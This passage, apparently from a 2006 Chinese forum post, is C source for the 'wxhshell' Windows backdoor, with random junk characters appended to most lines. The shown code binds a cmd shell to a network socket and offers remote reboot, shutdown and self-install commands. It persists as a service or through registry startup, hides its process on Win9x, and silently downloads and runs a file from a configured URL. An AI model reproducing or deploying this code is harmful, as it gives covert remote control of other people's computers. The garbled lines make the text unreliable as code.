      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G#fF("Ndu`  
    break; jyB Ys& v  
  } DTlId~Dyq  
  // 安装 ;I?x; lH  
  case 'i': { E=Vp%08(  
    if(Install()) L1Jn@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); us E%eF]  
    else hHZ'*,9 y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [HI$[ :[  
    break; U!(es0rX  
    } ~dk97Z8  
  // 卸载 qw 03]a  
  case 'r': { ~F8xXW0  
    if(Uninstall()) wXtp(YwlH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y,Lx6kU  
    else 5>lIrBf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &->ngzg  
    break; '&nQ~=3  
    } M@o^V(j  
  // 显示 wxhshell 所在路径 Cu!]-c{  
  case 'p': { JvK]EwR ;  
    char svExeFile[MAX_PATH]; >}:  
    strcpy(svExeFile,"\n\r"); 1m5*MY  
      strcat(svExeFile,ExeFile); n,d)Wwe_`y  
        send(wsh,svExeFile,strlen(svExeFile),0); s (K SN/  
    break; bz}-[W+  
    } "8R &c}  
  // 重启 c]n"1YNm  
  case 'b': { !hFhw1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4xH/a1&p=  
    if(Boot(REBOOT)) FA+"t^q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rsq?4+\  
    else { ac\([F-  
    closesocket(wsh); Gt+rVJ=v  
    ExitThread(0); 53 -O wjpx  
    } {A'*3(8  
    break; "8"aYD_  
    } K?Sy ?Kz  
  // 关机 dyk(/# *7W  
  case 'd': { )N*Jc @Y@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f!#+cM  
    if(Boot(SHUTDOWN)) +w-J;GLSy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a|jZg  
    else { 3I(;c ,S  
    closesocket(wsh); K:^0*5Y-k  
    ExitThread(0); `2hg?(ul  
    } oEX^U4/=  
    break; 91]sO%3  
    } k<5g  
  // 获取shell >ZW|wpO  
  case 's': { Y2;2Exp^  
    CmdShell(wsh); T];dFv-GT  
    closesocket(wsh); uuxVVgWp{  
    ExitThread(0); s_a jA  
    break; \EsT1aT  
  } ~>HzAo9e  
  // 退出 UOk\fyD2[  
  case 'x': { 'u E;8.,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .T)wG;+  
    CloseIt(wsh); x|O^#X(,  
    break; aHVzBcCPh  
    } #y[U2s Se  
  // 离开 PfZS"yk  
  case 'q': { #=VYq4B=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Nke!!A}\|  
    closesocket(wsh); V$sY3,J7A%  
    WSACleanup(); ZPyzx\6\  
    exit(1); r fzNw  
    break; Zazff@O *  
        } ^5.XQ 0n  
  } dI&Q5M8  
  } TL)*onA9  
(0B?OkQ  
  // 提示信息 DzQ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l#`G4Vf  
} j:xC \b47"  
  } iaCV8`&q%  
~MBPN 4r  
  return; \+l*ZNYM3  
} Yj#tF}nPC  
l?=\9y  
// shell模块句柄 jj1\oyQ8  
int CmdShell(SOCKET sock) '3Lu_]I-  
{ OQ7 `n<I<)  
STARTUPINFO si; .w;kB}$YC  
ZeroMemory(&si,sizeof(si)); 8AX_y3$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :n QlS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]"lB!O~  
PROCESS_INFORMATION ProcessInfo; h%krA<G9  
char cmdline[]="cmd"; w4vV#C4X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Rd&DH_<+^  
  return 0; '*`#xNu[  
} @p L9a1PJv  
>WIc"y.  
// 自身启动模式 ~Ix2O   
int StartFromService(void) 'gvR?[!t  
{ ocFk#FW  
typedef struct SkE<V0  
{ ;Mup@)!j  
  DWORD ExitStatus; #3QPcoxa  
  DWORD PebBaseAddress; qD4]7"9  
  DWORD AffinityMask; S0)JIrrHC  
  DWORD BasePriority; &CQO+Yr$l  
  ULONG UniqueProcessId; z@i4  
  ULONG InheritedFromUniqueProcessId; $[A\i<#  
}   PROCESS_BASIC_INFORMATION; pYx,*kG:HW  
D]]wJQU2  
PROCNTQSIP NtQueryInformationProcess; viG,z4Zf  
)63 $,y-;$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =c'4rJ$+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L%T(H<G  
{d'-1z"q  
  HANDLE             hProcess; pA ~} _  
  PROCESS_BASIC_INFORMATION pbi; EUi 70h +  
yQE'!m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); MQQm3VaKS  
  if(NULL == hInst ) return 0; ]7O<|8n!d  
W&IG,7tr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W n'a'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {aUnOyX_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [mA-sl]  
A^>@6d $2  
  if (!NtQueryInformationProcess) return 0; 3R3H+W0{  
~w+I2oS$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4b`E/L}2  
  if(!hProcess) return 0; lL:a}#qxU  
N2v/<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |QDoi[ *  
( Jk& U8y  
  CloseHandle(hProcess); q(6.VU@  
n^Ca?|} ,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5 wrRtzf  
if(hProcess==NULL) return 0; x#J9GP.  
OT%E|) 6'  
HMODULE hMod; x9"Cm;H%  
char procName[255]; H OR8Jwf:  
unsigned long cbNeeded; 9{*{Ba  
P.'.KZJ:WD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;!MQ@Fi^  
%.Ma_4o Z  
  CloseHandle(hProcess); -B *W^-;*  
C9!t&<\ }  
if(strstr(procName,"services")) return 1; // 以服务启动 > S>*JP  
q 84*5-  
  return 0; // 注册表启动 Aqmpo3P[+  
} h Ma;\k  
 Y~WdN<g  
// 主模块 %_ibe  
int StartWxhshell(LPSTR lpCmdLine) jYHnJ}<  
{ s-$ Wc) l  
  SOCKET wsl; !6KX^j-  
BOOL val=TRUE; cb|+6m~  
  int port=0; >A$L&8'C  
  struct sockaddr_in door; 566!T_  
w+g29  
  if(wscfg.ws_autoins) Install(); y9r4]45  
>}+{;d  
port=atoi(lpCmdLine); fg^AEn1i  
#ibwD:{  
if(port<=0) port=wscfg.ws_port; UK ':%LeL  
C!j3@EZ$  
  WSADATA data; 3~~X,ZL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D&G6^ME  
{821e&r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~"#0rPT  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'J,UKK\5  
  door.sin_family = AF_INET; 2dD" ^z{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n<.7tr0f\  
  door.sin_port = htons(port); nTeA=0 4  
V<QpC5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X:GRjoa  
closesocket(wsl); ZcN0:xU  
return 1;  FA+HR  
} j3Od7bBS]  
@t%da^-HS"  
  if(listen(wsl,2) == INVALID_SOCKET) { T: za},-  
closesocket(wsl); 4uXGp sL  
return 1; h`&TDB2  
} C4mkt2Eb0a  
  Wxhshell(wsl); gP% <<yl  
  WSACleanup(); x{1 v(n8+=  
)Te\6qM  
return 0; ~7: q+\  
8<VDp Y  
} e>MtDJ5  
imM!Me 0TE  
// 以NT服务方式启动 ht -'O"d:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /!]K+6>u  
{ 7X$CJ%6b  
DWORD   status = 0; iC#a+G*N_M  
  DWORD   specificError = 0xfffffff; 1)z'-dQ-5$  
f(Xin3#'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $H<_P'h-B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y=XDN:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sp\6-*F  
  serviceStatus.dwWin32ExitCode     = 0; 6tH}&#K  
  serviceStatus.dwServiceSpecificExitCode = 0; ~VsN\!G  
  serviceStatus.dwCheckPoint       = 0; U8gj\G\`  
  serviceStatus.dwWaitHint       = 0; @d^DU5ats>  
y$di_)&g  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); eB_r.R{  
  if (hServiceStatusHandle==0) return; F/1m&1t  
B#`'h~(7  
status = GetLastError(); SmvMjZ+7Y  
  if (status!=NO_ERROR) \1#]qs -  
{ W2v'2qAs  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Gj%q:[r  
    serviceStatus.dwCheckPoint       = 0; f.%3G+  
    serviceStatus.dwWaitHint       = 0; +Q"~2_q5/;  
    serviceStatus.dwWin32ExitCode     = status; $;$vcV9*  
    serviceStatus.dwServiceSpecificExitCode = specificError; Al@. KTK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3*\Q]|SI!  
    return; SHB'g){P  
  } av5a2r0W1  
>z/.8!#Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; N^wHO<IO 1  
  serviceStatus.dwCheckPoint       = 0; =j~:u.hc'  
  serviceStatus.dwWaitHint       = 0; o%`=+- K  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H2Z e\c  
} Q {~$7J  
$B<:SuV#  
// 处理NT服务事件,比如:启动、停止 O&y`:#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L^Q;M,.c;  
{ `:EhYj.   
switch(fdwControl) L<iRqayn  
{ {_Ll'S  
case SERVICE_CONTROL_STOP: G9am}qr  
  serviceStatus.dwWin32ExitCode = 0; oD9L5c)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A n`*![  
  serviceStatus.dwCheckPoint   = 0; x@/:{B   
  serviceStatus.dwWaitHint     = 0; 4W49*Je  
  { z%T|L[(6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L A A(2  
  } XpkOCo02  
  return; |'P$zMAF  
case SERVICE_CONTROL_PAUSE: 1tI=Dw x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \X! NoF  
  break; 7TI6EKr  
case SERVICE_CONTROL_CONTINUE: Z1v~tqx  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b$Dh|-8  
  break; W#^.)V  
case SERVICE_CONTROL_INTERROGATE: KZcmNli&A  
  break; <Uj9~yVN]  
}; { J/Fp#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a]%s ks  
} u8%X~K\  
h~CLJoK<  
// 标准应用程序主函数 2P^qZDG 8I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Wi!"V cn  
{ TXyiCS3  
Px*<-t|R-  
// 获取操作系统版本 djw\%00&#  
OsIsNt=GetOsVer(); lsOfpJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n{etDO  
(dQ=i  
  // 从命令行安装 ,d*hhe  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1iLU{m9  
q~W:W}z  
  // 下载执行文件 bX:h"6{=R  
if(wscfg.ws_downexe) { q3h& V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dT?3Q;>B?  
  WinExec(wscfg.ws_filenam,SW_HIDE); z5~W >r  
} f.66N9BHL,  
:-Py0{s  
if(!OsIsNt) { dVHbIx  
// 如果时win9x,隐藏进程并且设置为注册表启动 R1w5,Zt  
HideProc(); jf)l; \u  
StartWxhshell(lpCmdLine); "8cI]~ V  
} &|RTLGwX  
else vlEW{B;)Z  
  if(StartFromService()) t#t[cgI  
  // 以服务方式启动 gJrWewEe  
  StartServiceCtrlDispatcher(DispatchTable); 0%}*Zo(e+  
else K r|.I2?"  
  // 普通方式启动 mb1c9  
  StartWxhshell(lpCmdLine); c>>.>^5  
1^= QIX  
return 0; nu-&vX  
}
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只看该作者 1 发表于: 2006-10-10
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